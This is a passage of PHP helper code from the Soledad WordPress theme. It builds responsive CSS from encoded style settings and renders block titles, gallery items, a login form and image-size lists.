				$font_size_arr = json_decode( base64_decode( $args['font_size'] ), true );
				if ( isset( $font_size_arr['data'] ) && $font_size_arr['data'] ) {
					foreach ( $font_size_arr['data'] as $devices => $size ) {

						if ( 'tablet' == $devices ) {
							$output .= sprintf( '@media only screen and (min-width:767px) and (max-width:1200px){' . $args['template'] . '}', $size );
						} elseif ( 'mobile' == $devices ) {
							$output .= sprintf( '@media only screen and (max-width:767px){' . $args['template'] . '}', $size );
						} else {
							$output .= sprintf( $args['template'], $size );
						}
					}
				}
			} else {
				$styles .= $css_size;
			}

			if ( $styles ) {
				$output .= sprintf( $args['template'], $styles );
			}

			return $output;
		}

		public static function markup_block_title( $args ) {
			$defaults = array(
				'heading_title_style'  => 'style-1',
				'heading'              => '',
				'heading_title_link'   => '',
				'add_title_icon'       => '',
				'block_title_icon'     => '',
				'block_title_ialign'   => '',
				'block_title_align'    => '',
				'block_title_offupper' => '',
				'heading_icon_pos'     => '',
				'heading_icon'         => '',
				'block_title_marginbt' => '',
				'blockid'              => '',
			);

			$r = wp_parse_args( $args, $defaults );

			if ( ! $r['heading'] ) {
				return;
			}
			if ( 'video_list' == $r['heading_title_style'] ) {
				return;
			}

			$heading_title = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
			$heading_align = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';

			if ( $r['heading_title_style'] ) {
				$heading_title = $r['heading_title_style'];
			}

			if ( $r['block_title_align'] ) {
				$heading_align = $r['block_title_align'];
			}

			$sb_icon_pos         = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
			$heading_icon_pos    = get_theme_mod( 'penci_homep_icon_align' ) ? get_theme_mod( 'penci_homep_icon_align' ) : $sb_icon_pos;
			$sb_icon_design      = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';
			$heading_icon_design = get_theme_mod( 'penci_homep_icon_design' ) ? get_theme_mod( 'penci_homep_icon_design' ) : $sb_icon_design;

			if ( $r['heading_icon_pos'] ) {
				$heading_icon_pos = $r['heading_icon_pos'];
			}

			if ( $r['heading_icon'] ) {
				$heading_icon_design = $r['heading_icon'];
			}

			$classes = 'penci-border-arrow penci-homepage-title penci-home-latest-posts';
			$classes .= ' ' . $heading_title;
			$classes .= ' ' . $heading_align;
			$classes .= ' ' . $heading_icon_pos;
			$classes .= ' ' . $heading_icon_design;
			?>
            <div class="<?php echo esc_attr( $classes ); ?>">
                <h3 class="inner-arrow">
					<?php
					if ( $r['heading_title_link'] ) {
						echo '<a href="' . esc_url( $r['heading_title_link'] ) . '">';
					} else {
						echo '<span>';
					}

					if ( $r['add_title_icon'] && $r['block_title_icon'] && 'left' == $r['block_title_ialign'] ) {
						echo '<i class="' . esc_attr( $r['block_title_icon'] ) . '"></i>';
					}
					echo do_shortcode( $r['heading'] );
					if ( $r['add_title_icon'] && $r['block_title_icon'] && 'right' == $r['block_title_ialign'] ) {
						penci_icon_by_ver( 'fa-pos-right ' . esc_attr( $r['block_title_icon'] ) );
					}
					if ( $r['heading_title_link'] ) {
						echo '</a>';
					} else {
						echo '</span>';
					}
					?>
                </h3>
				<?php do_action( 'penci_block_title_extra_' . $r['blockid'] ); ?>
            </div>
			<?php
		}

		public static function get_heading_block_filter_css( $block_id_css, $args ) {
			$defaults = [
				'link_fsize'                      => '',
				'nexprev_fsize'                   => '',
				'btitle_typo'                     => '',
				'btitle_fsize'                    => '',
				'heading_filter_color'            => '',
				'heading_filter_hcolor'           => '',
				'heading_filter_dropdown_bgcolor' => '',
				'heading_filter_dropdown_bdcolor' => '',
				'dropdown_l_color'                => '',
				'dropdown_ha_color'               => '',
				'loading_icolor'                  => '',
				'loadingo_bg_color'               => '',
				'loading_opacity_color'           => '',
			];

			$r      = wp_parse_args( $args, $defaults );
			$output = '';

			if ( $r['link_fsize'] ) {
				$output .= $block_id_css . ' .pcnav-lgroup ul.pcflx li a{padding-left: calc(' . $r['link_fsize'] . 'px / 2);padding-right: calc(' . $r['link_fsize'] . 'px / 2);}';
				$output .= $block_id_css . ' .pcnav-lgroup ul.pcflx ul li a{padding-left: 0;padding-right: 0;}';
				$output .= $block_id_css . ' .pcnav-lgroup ul.pcflx-nav{padding-left: calc(' . $r['link_fsize'] . 'px - 3px);';
			}

			if ( $r['btitle_typo'] ) {
				$output .= self::vc_google_fonts_parse_attributes( array(
					'font_size'  => $r['btitle_fsize'],
					'font_style' => $r['btitle_typo'],
					'template'   => $block_id_css . ' .pcnav-lgroup ul li a{ %s }',
				) );
			}

			if ( $r['nexprev_fsize'] ) {
				$output .= penci_extract_responsive_fsize( $block_id_css . ' .pcnav-lgroup ul > li > a.pcaj-nav-link', 'font-size', $r['nexprev_fsize'] );
			}

			if ( $r['heading_filter_color'] ) {
				$output .= $block_id_css . ' .pcnav-lgroup ul > li > a,' . $block_id_css . '  .pcnav-lgroup ul > li{opacity: 1;color:' . $r['heading_filter_color'] . '}';
			}

			if ( $r['heading_filter_hcolor'] ) {
				$output .= $block_id_css . ' .pcnav-lgroup ul > li > a:hover,' . $block_id_css . ' .pcnav-lgroup ul > li:hover,' . $block_id_css . ' .pcnav-lgroup ul li > a.clactive{color:' . $r['heading_filter_hcolor'] . '}';
			}

			if ( $r['heading_filter_dropdown_bgcolor'] ) {
				$output .= $block_id_css . ' .pcnav-lgroup ul ul{background-color:' . $r['heading_filter_dropdown_bgcolor'] . '}';
			}

			if ( $r['heading_filter_dropdown_bdcolor'] ) {
				$output .= $block_id_css . ' .pcnav-lgroup ul ul li,' . $block_id_css . ' .pcnav-lgroup ul ul{border-color:' . $r['heading_filter_dropdown_bdcolor'] . '}';
			}

			if ( $r['dropdown_l_color'] ) {
				$output .= $block_id_css . ' .pcnav-lgroup ul ul li,' . $block_id_css . ' .pcnav-lgroup ul ul li a{opacity:1;color:' . $r['dropdown_l_color'] . '}';
			}

			if ( $r['dropdown_ha_color'] ) {
				$output .= $block_id_css . ' .pcnav-lgroup ul ul li a.clactive,{{WRAPPER}} .pcnav-lgroup ul ul li:hover,{{WRAPPER}} .pcnav-lgroup ul ul li a:hover{opacity:1;color:' . $r['dropdown_ha_color'] . '}';
			}

			if ( $r['loading_icolor'] ) {
				$output .= $block_id_css . ' .penci-loading-animation-1 .penci-loading-animation,' . $block_id_css . ' .penci-loading-animation-1 .penci-loading-animation:before,' . $block_id_css . ' .penci-loading-animation-1 .penci-loading-animation:after,' . $block_id_css . ' .penci-loading-animation-5 .penci-loading-animation,' . $block_id_css . ' .penci-loading-animation-6 .penci-loading-animation:before,' . $block_id_css . ' .penci-loading-animation-7 .penci-loading-animation,' . $block_id_css . ' .penci-loading-animation-8 .penci-loading-animation,' . $block_id_css . ' .penci-loading-animation-9 .penci-loading-circle-inner:before,' . $block_id_css . ' .penci-loading-animation-1>div,' . $block_id_css . ' .penci-three-bounce .one,' . $block_id_css . ' .penci-three-bounce .two,.penci-three-bounce .three{background-color:' . $r['loading_icolor'] . '}';
				$output .= $block_id_css . '{--pc-loader-2:' . $r['loading_icolor'] . '}';
			}

			if ( $r['loadingo_bg_color'] ) {
				$output .= $block_id_css . ' .pcftaj-ld:before{background-color:' . $r['loadingo_bg_color'] . '}';
			}

			if ( $r['loading_opacity_color'] ) {
				$output .= $block_id_css . ' .pcftaj-ld:before{opacity:' . $r['loading_opacity_color'] . '}';
			}

			return $output;
		}

		public static function get_bookmark_icon_css( $block_id_css, $args ) {
			if ( ! defined( 'PENCI_BL_VERSION' ) ) {
				return;
			}
			$defaults = array(
				'penci_bf_icon_sizes'          => '',
				'penci_bf_icon_fsizes'         => '',
				'penci_bf_icon_icon_color'     => '',
				'penci_bf_icon_icon_bcolor'    => '',
				'penci_bf_icon_icon_bgcolor'   => '',
				'penci_bf_icon_icon_hcolor'    => '',
				'penci_bf_icon_icon_hbcolor'   => '',
				'penci_bf_icon_icon_hbgcolor'  => '',
				'penci_bf_icon_icon_bmcolor'   => '',
				'penci_bf_icon_icon_bmbcolor'  => '',
				'penci_bf_icon_icon_bmbgcolor' => '',
			);
			$r        = wp_parse_args( $args, $defaults );
			$output   = '';

			if ( $r['penci_bf_icon_sizes'] ) {
				$output .= penci_extract_md_responsive_fsize( '{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:before{ width:{{VALUE}};height:{{VALUE}};line-height:{{VALUE}};}', $r['penci_bf_icon_sizes'] );
			}

			if ( $r['penci_bf_icon_fsizes'] ) {
				$output .= penci_extract_md_responsive_fsize( '{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:before{ font-size:{{VALUE}};}', $r['penci_bf_icon_fsizes'] );
			}

			if ( $r['penci_bf_icon_icon_color'] ) {
				$output .= '{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:before{color:' . $r['penci_bf_icon_icon_color'] . '}';
			}
			if ( $r['penci_bf_icon_icon_bcolor'] ) {
				$output .= '{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:before{border-color:' . $r['penci_bf_icon_icon_bcolor'] . '}';
			}
			if ( $r['penci_bf_icon_icon_bgcolor'] ) {
				$output .= '{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:before{background-color:' . $r['penci_bf_icon_icon_bgcolor'] . '}';
			}

			//hover
			if ( $r['penci_bf_icon_icon_hcolor'] ) {
				$output .= '{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:hover:before{color:' . $r['penci_bf_icon_icon_hcolor'] . '}';
			}
			if ( $r['penci_bf_icon_icon_hbcolor'] ) {
				$output .= '{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:hover:before{border-color:' . $r['penci_bf_icon_icon_hbcolor'] . '}';
			}
			if ( $r['penci_bf_icon_icon_hbgcolor'] ) {
				$output .= '{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:hover:before{background-color:' . $r['penci_bf_icon_icon_hbgcolor'] . '}';
			}

			//activated
			if ( $r['penci_bf_icon_icon_bmcolor'] ) {
				$output .= '{{WRAPPER}} .penci-bf-follow-post-wrapper .penci-bf-following-button .pencibf-following-text:before{color:' . $r['penci_bf_icon_icon_bmcolor'] . '!important}';
			}
			if ( $r['penci_bf_icon_icon_bmbcolor'] ) {
				$output .= '{{WRAPPER}} .penci-bf-follow-post-wrapper .penci-bf-following-button .pencibf-following-text:before{border-color:' . $r['penci_bf_icon_icon_bmbcolor'] . '!important}';
			}
			if ( $r['penci_bf_icon_icon_bmbgcolor'] ) {
				$output .= '{{WRAPPER}} .penci-bf-follow-post-wrapper .penci-bf-following-button .pencibf-following-text:before{background-color:' . $r['penci_bf_icon_icon_bmbgcolor'] . '!important}';
			}

			if ( $output ) {
				$output = str_replace( '{{WRAPPER}}', $block_id_css, $output );
			}

			return $output;

		}

		public static function get_heading_block_css( $block_id_css, $args ) {
			$defaults = array(
				'block_title_color'        => '',
				'block_title_hcolor'       => '',
				'btitle_bcolor'            => '',
				'btitle_outer_bcolor'      => '',
				'btitle_style5_bcolor'     => '',
				'btitle_style78_bcolor'    => '',
				'btitle_bgcolor'           => '',
				'btitle_outer_bgcolor'     => '',
				'btitle_style9_bgimg'      => '',
				'use_btitle_typo'          => '',
				'btitle_typo'              => '',
				'btitle_fsize'             => '',
				'block_title_offupper'     => '',
				'block_title_marginbt'     => '',
				'btitle_style10_btopcolor' => '',
				'btitle_shapes_color'      => '',
				'bgstyle15_color'          => '',
				'iconstyle15_color'        => '',
				'cl_lines'                 => '',
			);

			$r = wp_parse_args( $args, $defaults );

			$output = '';
			if ( $r['block_title_color'] ) {
				$output .= $block_id_css . ' .penci-border-arrow .inner-arrow a,';
				$output .= $block_id_css . ' .penci-border-arrow .inner-arrow{ color: ' . esc_attr( $r['block_title_color'] ) . '; }';
			}

			if ( $r['block_title_hcolor'] ) {
				$output .= $block_id_css . ' .penci-border-arrow .inner-arrow a:hover{ color: ' . esc_attr( $r['block_title_hcolor'] ) . '; }';
			}
			if ( $r['btitle_bcolor'] ) {
				$output .= $block_id_css . ' .penci-border-arrow .inner-arrow,';
				$output .= $block_id_css . ' .style-4.penci-border-arrow .inner-arrow:before,';
				$output .= $block_id_css . ' .style-4.penci-border-arrow .inner-arrow:after,';
				$output .= $block_id_css . ' .style-5.penci-border-arrow,';
				$output .= $block_id_css . ' .style-7.penci-border-arrow,';
				$output .= $block_id_css . ' .style-9.penci-border-arrow { border-color: ' . esc_attr( $r['btitle_bcolor'] ) . '; }';
				$output .= $block_id_css . ' .penci-border-arrow:before{ border-top-color: ' . esc_attr( $r['btitle_bcolor'] ) . '; }';
				$output .= $block_id_css . ' .style-16.penci-border-arrow:after{ background-color: ' . esc_attr( $r['btitle_bcolor'] ) . '; }';
			}

			if ( $r['btitle_style5_bcolor'] ) {
				$output .= $block_id_css . ' .style-5.penci-border-arrow{ border-color: ' . esc_attr( $r['btitle_style5_bcolor'] ) . '; }';

				$output .= $block_id_css . ' .style-11.penci-border-arrow,';
				$output .= $block_id_css . ' .penci-homepage-title.style-10,';
				$output .= $block_id_css . ' .style-12.penci-border-arrow,';
				$output .= $block_id_css . ' .style-5.penci-border-arrow .inner-arrow{ border-bottom-color: ' . esc_attr( $r['btitle_style5_bcolor'] ) . '; }';
			}
			if ( $r['btitle_style78_bcolor'] ) {
				$output .= $block_id_css . ' .style-7.penci-border-arrow .inner-arrow:before,';
				$output .= $block_id_css . ' .style-9.penci-border-arrow .inner-arrow:before{ background-color: ' . esc_attr( $r['btitle_style78_bcolor'] ) . '; }';
			}

			if ( $r['btitle_outer_bcolor'] ) {
				$output .= $block_id_css . ' .penci-border-arrow:after{ border-color: ' . esc_attr( $r['btitle_outer_bcolor'] ) . '; }';
			}
			if ( $r['btitle_style10_btopcolor'] ) {
				$output .= $block_id_css . ' .style-10.penci-border-arrow{ border-top-color: ' . esc_attr( $r['btitle_style10_btopcolor'] ) . '; }';
			}

			if ( $r['btitle_shapes_color'] ) {
				$output .= $block_id_css . ' .style-13.pcalign-center .inner-arrow:before,';
				$output .= $block_id_css . ' .style-13.pcalign-right .inner-arrow:before { border-left-color: ' . esc_attr( $r['btitle_shapes_color'] ) . ' !important; }';

				$output .= $block_id_css . ' .style-13.pcalign-center .inner-arrow:after,';
				$output .= $block_id_css . ' .style-13.pcalign-left .inner-arrow:after { border-right-color: ' . esc_attr( $r['btitle_shapes_color'] ) . ' !important; }';

				$output .= $block_id_css . ' .style-12 .inner-arrow:before,';
				$output .= $block_id_css . ' .style-12.pcalign-right .inner-arrow:after,';
				$output .= $block_id_css . ' .style-12.pcalign-center .inner-arrow:after{ border-bottom-color: ' . esc_attr( $r['btitle_shapes_color'] ) . ' !important; }';

				$output .= $block_id_css . ' .style-11 .inner-arrow:after,';
				$output .= $block_id_css . ' .style-11 .inner-arrow:before{ border-top-color: ' . esc_attr( $r['btitle_shapes_color'] ) . ' !important; }';
			}

			if ( $r['bgstyle15_color'] ) {
				$output .= $block_id_css . ' .style-15.penci-border-arrow:before{ background-color: ' . esc_attr( $r['bgstyle15_color'] ) . ' !important; }';
			}

			if ( $r['iconstyle15_color'] ) {
				$output .= $block_id_css . ' .style-15.penci-border-arrow:after{ color: ' . esc_attr( $r['iconstyle15_color'] ) . ' !important; }';
			}

			if ( $r['cl_lines'] ) {
				$output .= $block_id_css . ' .style-18.penci-border-arrow:after{ color: ' . esc_attr( $r['cl_lines'] ) . ' !important; }';
			}

			if ( $r['btitle_bgcolor'] ) {
				$output .= $block_id_css . ' .penci-homepage-title.style-14 .inner-arrow:before,';
				$output .= $block_id_css . ' .penci-homepage-title.style-11 .inner-arrow,';
				$output .= $block_id_css . ' .penci-homepage-title.style-12 .inner-arrow,';
				$output .= $block_id_css . ' .penci-homepage-title.style-13 .inner-arrow,';
				$output .= $block_id_css . ' .penci-homepage-title .inner-arrow,';
				$output .= $block_id_css . ' .penci-homepage-title.style-15 .inner-arrow{ background-color: ' . esc_attr( $r['btitle_bgcolor'] ) . '; }';
				$output .= $block_id_css . ' .penci-border-arrow.penci-homepage-title.style-2:after{ border-top-color: ' . esc_attr( $r['btitle_bgcolor'] ) . '; }';
			}

			if ( $r['btitle_outer_bgcolor'] ) {
				$output .= $block_id_css . ' .penci-border-arrow:after{ background-color: ' . esc_attr( $r['btitle_outer_bgcolor'] ) . '; }';
			}

			if ( $r['btitle_style9_bgimg'] ) {
				$output .= $block_id_css . ' .style-8.penci-border-arrow .inner-arrow{ background-image: url(' . esc_url( wp_get_attachment_url( $r['btitle_style9_bgimg'] ) ) . '); }';
			}

			if ( $r['use_btitle_typo'] ) {
				$output .= self::vc_google_fonts_parse_attributes( array(
					'font_size'  => $r['btitle_fsize'],
					'font_style' => $r['btitle_typo'],
					'template'   => $block_id_css . ' .penci-border-arrow .inner-arrow{ %s }',
				) );
			}

			if ( $r['block_title_offupper'] ) {
				$output .= $block_id_css . ' .penci-border-arrow .inner-arrow{ text-transform: none; }';
			}
			if ( $r['block_title_marginbt'] ) {
				$output .= $block_id_css . ' penci-border-arrow { margin-bottom:' . esc_attr( $r['block_title_marginbt'] ) . ';}';
			}

			return $output;
		}

		/**
		 * Get url image
		 *
		 * @param $attach_id
		 * @param string $size
		 *
		 * @return mixed|void
		 */
		public static function get_image_holder_gal( $attach_id, $size = 'full', $image_type = 'horizontal', $is_background = true, $count = '', $class = '', $caption_source = '' ) {
			$list_url  = self::penci_image_downsize( $attach_id, array( $size, 'penci-full-thumb' ) );
			$src_large = isset( $list_url['penci-full-thumb']['img_url'] ) ? $list_url['penci-full-thumb']['img_url'] : '';
			$src_thmb  = isset( $list_url[ $size ]['img_url'] ) ? $list_url[ $size ]['img_url'] : '';

			$class_lazy = '';


			if ( $image_type ) {
				$class_lazy .= ' penci-image-' . $image_type;
			}

			$caption_markup     = '';
			$gallery_title      = '';
			$attachment_caption = wp_get_attachment_caption( $attach_id );
			if ( $attachment_caption && 'attachment' == $caption_source ) {
				$caption_markup = '<span class="caption">' . wp_kses( $attachment_caption, array(
						'em'     => array(),
						'strong' => array(),
						'b'      => array(),
						'i'      => array(),
					) ) . '</span>';
				$gallery_title  = ' data-cap="' . esc_attr( $attachment_caption ) . '"';
			}

			if ( $is_background ) {
				ob_start();
				?>
                <div class="penci-gallery-item penci-galitem-<?php echo $count . ( $class ? ' ' . $class : '' ); ?>">
                    <a <?php echo penci_layout_bg( $src_thmb );?> class="<?php echo penci_layout_bg_class();?> penci-gallery-ite penci-image-holder<?php echo $class_lazy; ?>"
                       href="<?php echo $src_large; ?>" <?php echo $gallery_title; ?>>
						<?php echo $caption_markup; ?>
                        <?php echo penci_layout_img( $src_thmb );?>
                        <i class="penciicon-expand"></i>
                    </a>
                </div>
				<?php
				$output = ob_get_clean();

			} else {
				ob_start();
				?>
                <a class="penci-gallery-ite <?php echo $class_lazy . ( $class ? ' ' . $class : '' ); ?>"
                   href="<?php echo $src_large; ?>" <?php echo $gallery_title; ?>>
                    <img src="<?php echo $src_thmb; ?>" alt="<?php echo self::get_image_alt( $attach_id ); ?>"/>
					<?php echo $caption_markup; ?>
                    <i class="penciicon-expand"></i>
                </a>
				<?php
				$output = ob_get_clean();
			}

			return $output;
		}

		public static function penci_image_downsize( $id, $sizes = array( 'medium' ) ) {

			$img_url          = wp_get_attachment_url( $id );
			$img_url_basename = wp_basename( $img_url );

			$list_url = array();

			foreach ( $sizes as $size ) {
				$img_url_pre = $width = $height = '';
				if ( $intermediate = image_get_intermediate_size( $id, $size ) ) {
					$img_url_pre = isset( $intermediate['url'] ) ? $intermediate['url'] : $img_url;
					$width       = isset( $intermediate['width'] ) ? $intermediate['width'] : '';
					$height      = isset( $intermediate['height'] ) ? $intermediate['height'] : '';
				} elseif ( $size == 'thumbnail' ) {
					if ( ( $thumb_file = wp_get_attachment_thumb_file( $id ) ) && $info = getimagesize( $thumb_file ) ) {
						$img_url_pre = str_replace( $img_url_basename, wp_basename( $thumb_file ), $img_url );
						$width       = $info[0];
						$height      = $info[1];
					}
				} else {
					$img_url_pre = $img_url;
				}

				$list_url[ $size ] = array(
					'img_url' => $img_url_pre,
					'height'  => $height,
					'width'   => $width,
				);
			}

			return $list_url;
		}

		/**
		 * Get media control image alt.
		 * Retrieve the `alt` value of the image selected by the media control.
		 *
		 * @return string Image alt.
		 */
		public static function get_image_alt( $instance ) {
			if ( empty( $instance['id'] ) ) {
				return '';
			}

			$attachment_id = $instance['id'];
			if ( ! $attachment_id ) {
				return '';
			}

			$attachment = get_post( $attachment_id );
			if ( ! $attachment ) {
				return '';
			}

			$alt = get_post_meta( $attachment_id, '_wp_attachment_image_alt', true );
			if ( ! $alt ) {
				$alt = $attachment->post_excerpt;
				if ( ! $alt ) {
					$alt = $attachment->post_title;
				}
			}

			return trim( strip_tags( $alt ) );
		}

		public static function _login_form() {
			?>
            <form class="penci-loginform" name="penci-loginform" id="penci-loginform"
                  action="<?php echo esc_url( site_url( 'wp-login.php' ) ); ?>" method="post" novalidate="novalidate">
                <input type="hidden" name="_wpnonce" class="penci_form_nonce"
                       value="<?php echo wp_create_nonce( 'login' ); ?>">
                <p class="login-username">
                    <input type="text" name="log" id="penci-user-login" class="input penci-input"
                           placeholder="<?php echo penci_get_setting( 'penci_trans_usernameemail_text' ); ?>" size="20">
                </p>
                <p class="login-password">
                    <input type="password" name="pwd" id="penci-user-pass" class="input penci-input"
                           placeholder="<?php echo penci_get_setting( 'penci_trans_pass_text' ); ?>" size="20">
                </p>
				<?php do_action( 'login_form' ); ?>
				<?php penci_add_captcha_login_form(); ?>
                <p class="login-remember">
                    <input name="rememberme" type="checkbox" id="rememberme"
                           value="forever"> <?php echo penci_get_setting( 'penci_plogin_label_remember' ); ?>
                </p>
                <p class="login-submit">
                    <input type="submit" name="wp-submit" class="pcpop-button"
                           value="<?php echo penci_get_setting( 'penci_plogin_label_log_in' ); ?>">
                </p>
            </form>
            <div class="penci-loginform-extra">
                <a class="penci-lostpassword"
                   href="<?php echo esc_url( wp_lostpassword_url() ); ?>"><?php echo penci_get_setting( 'penci_plogin_label_lostpassword' ); ?></a>
				<?php if ( get_option( 'users_can_register' ) ) : ?>
                    <a class="penci-user-register"
                       href="<?php echo esc_url( wp_registration_url() ); ?>"><?php echo penci_get_setting( 'penci_plogin_label_registration' ); ?></a>
				<?php endif; ?>
            </div>
			<?php
		}

		/**
		 * Get image sizes.
		 *
		 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
		 */
		/**
		 * Get image sizes.
		 *
		 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
		 */
		public static function get_list_image_sizes( $default = false ) {
			$wp_image_sizes = self::get_all_image_sizes();

			$image_sizes = array();

			if ( $default ) {
				$image_sizes[ esc_html__( 'Default', 'soledad' ) ] = '';
			}

			foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
				$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
				if ( is_array( $size_attributes ) ) {
					$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
				}

				$image_sizes[ $control_title ] = $size_key;
			}

			$image_sizes[ _x( 'Full', 'Image Size Control', 'soledad' ) ] = 'full';

			return $image_sizes;
		}

		public static function get_all_image_sizes() {
			global $_wp_additional_image_sizes;

			$default_image_sizes = array( 'thumbnail', 'medium', 'medium_large', 'large' );

			$image_sizes = array();

			foreach ( $default_image_sizes as $size ) {
				$image_sizes[ $size ] = array(
					'width'  => (int) get_option( $size . '_size_w' ),
					'height' => (int) get_option( $size . '_size_h' ),
					'crop'   => (bool) get_option( $size . '_crop' ),
				);
			}

			if ( $_wp_additional_image_sizes ) {
				$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
			}

			return $image_sizes;
		}
	}
endif;

if ( ! function_exists( 'penci_get_link_attributes' ) ) {
	function penci_get_link_attributes( $link, $popup = false ) {
		// parse link
		$use_link = false;
		if ( isset( $link['url'] ) && strlen( $link['url'] ) > 0 ) {
			$use_link = true;
			$a_href   = apply_filters( 'penci_extra_menu_url', $link['url'] );
			if ( $popup ) {
				$a_href = $link['url'];
			}
			$a_title  = $link['title'];
			$a_target = $link['target'];
		}

		$attributes = array();

		if ( $use_link ) {
			$attributes[] = 'href="' . trim( $a_href ) . '"';
			$attributes[] = 'title="' . esc_attr( trim( $a_title ) ) . '"';
			if ( ! empty( $a_target ) ) {
				$attributes[] = 'target="' . esc_attr( trim( $a_target ) ) . '"';
			}
		}

		$attributes = implode( ' ', $attributes );

		return $attributes;
	}
}

if ( ! function_exists( 'penci_is_css_encode' ) ) {
	function penci_is_css_encode( $data ) {
		return strlen( $data ) > 50;
	}
}

if ( ! function_exists( 'penci_get_menu_label_tag' ) ) {
	function penci_get_menu_label_tag( $label, $label_text ) {
		if ( empty( $label_text ) ) {
			return '';
		}
		$label_out = '<span class="menu-label menu-label-' . $label . '">' . esc_attr( $label_text ) . '</span>';

		return $label_out;
	}
}


if ( ! function_exists( 'penci_get_menu_label_class' ) ) {
	function penci_get_menu_label_class( $label ) {
		$class = '';
		$class .= ' item-with-label';
		$class .= ' item-label-' . $label;

		return $class;
	}
}

// **********************************************************************//
// Get explode size
// **********************************************************************//
if ( ! function_exists( 'penci_get_explode_size' ) ) {
	function penci_get_explode_size( $img_size, $default_size ) {
		$sizes = explode( 'x', $img_size );
		if ( count( $sizes ) < 2 ) {
			$sizes[0] = $sizes[1] = $default_size;
		}

		return $sizes;
	}
}

if ( ! function_exists( 'penci_display_icon' ) ) {
	function penci_display_icon( $img_id, $img_size, $default_size ) {
		$icon     = wpb_getImageBySize( array(
			'attach_id'  => $img_id,
			'thumb_size' => $img_size,
		) );
		$icon_src = $icon['p_img_large'][0];
		$icon_id  = rand( 999, 9999 );

		$sizes = penci_get_explode_size( $img_size, $default_size );

		if ( substr( $icon_src, - 3, 3 ) == 'svg' ) {
			return '<div class="img-wrapper"><span class="svg-icon" style="width: ' . $sizes[0] . 'px;height: ' . $sizes[1] . 'px;">' . penci_get_any_svg( $icon_src, $icon_id ) . '</span></div>';
		} else {
			return '<div class="img-wrapper">' . $icon['thumbnail'] . '</div>';
		}
	}
}

if ( ! function_exists( 'penci_get_vc_responsive_spacing_map' ) ) {
	/**
	 * Get responsive spacing option map.
	 *
	 * @return array map.
	 */
	function penci_get_vc_responsive_spacing_map() {
		return array(
			'type'       => 'penci_responsive_spacing',
			'param_name' => 'responsive_spacing',
			'group'      => esc_html__( 'Design Options', 'js_composer' ),
		);
	}
}

if ( ! function_exists( 'penci_extract_spacing_style' ) ) {
	function penci_extract_spacing_style( $selector, $value ) {
		$out      = '';
		$data_css = json_decode( base64_decode( $value ), true );
		if ( isset( $data_css['data'] ) && is_array( $data_css['data'] ) ) {
			foreach ( $data_css['data'] as $devices => $d_value ) {
				if ( 'tablet' == $devices ) {
					$out .= '@media only screen and (min-width:768px) and (max-width:1169px){';
				}
				if ( 'mobile' == $devices ) {
					$out .= '@media only screen and (max-width:767px){';
				}
				foreach ( $d_value as $prop => $pvalue ) {
					$out .= $selector . '{' . $prop . ':' . $pvalue . 'px;}';
				}
				$out .= '}';
			}
		}

		return $out;
	}
}

if ( ! function_exists( 'penci_extract_responsive_fsize' ) ) {
	function penci_extract_responsive_fsize( $selector, $props, $value ) {
		$out = '';

		if ( strlen( $value ) > 5 ) {

			$data_css = json_decode( base64_decode( $value ), true );
			if ( isset( $data_css['data'] ) && is_array( $data_css['data'] ) ) {
				foreach ( $data_css['data'] as $devices => $d_value ) {
					if ( 'tablet' == $devices ) {
						$out .= '@media only screen and (min-width:768px) and (max-width:1169px){';
					}
					if ( 'mobile' == $devices ) {
						$out .= '@media only screen and (max-width:767px){';
					}

					if ( is_array( $props ) ) {
						foreach ( $props as $prop ) {
							$out .= $selector . '{' . $prop . ':' . $d_value . '}';
						}
					} else {
						$out .= $selector . '{' . $props . ':' . $d_value . '}';
					}


					$out .= '}';
				}
			}
		} else {
			$out .= $selector . '{' . $props . ':' . $value . '}';
		}

		return $out;
	}
}

if ( ! function_exists( 'penci_extract_md_responsive_fsize' ) ) {
	function penci_extract_md_responsive_fsize( $props, $value ) {
		$out = '';

		if ( strlen( $value ) > 5 ) {

			$data_css = json_decode( base64_decode( $value ), true );

			if ( isset( $data_css['data'] ) && is_array( $data_css['data'] ) ) {

				foreach ( $data_css['data'] as $devices => $d_value ) {
					if ( 'tablet' == $devices ) {
						$out .= '@media only screen and (min-width:768px) and (max-width:1169px){';
					}
					if ( 'mobile' == $devices ) {
						$out .= '@media only screen and (max-width:767px){';
					}

					if ( is_array( $props ) ) {
						foreach ( $props as $prop ) {
							$out .= str_replace( '{{VALUE}}', $d_value, $prop );
						}
					} else {
						$out .= str_replace( '{{VALUE}}', $d_value, $props );
					}

					if ( 'tablet' == $devices || 'mobile' == $devices ) {
						$out .= '}';
					}
				}
			}
		} else {
			$out .= str_replace( '{{VALUE}}', $value, $props );
		}

		return str_replace( 'pxpx', 'px', $out );
	}
}

if ( ! function_exists( 'penci_wpbakery_el_extract_css' ) ) {
	function penci_wpbakery_el_extract_css( $properties, $settings, $wrapper_id, $extra_css = '' ) {
		$out = '';
		foreach ( $properties as $id => $selectors ) {
			if ( isset( $settings[ $id ] ) && $settings[ $id ] ) {
				foreach ( $selectors as $selector => $value ) {
					$value    = str_replace( '{{VALUE}}', $settings[ $id ], $value );
					$selector = str_replace( '{{WRAPPER}}', $wrapper_id, $selector );
					$out      .= $selector . '{' . $value . '}';
				}
			}
		}
		if ( $settings['responsive_spacing'] ) {
			$out .= penci_extract_spacing_style( $wrapper_id, $settings['responsive_spacing'] );
		}
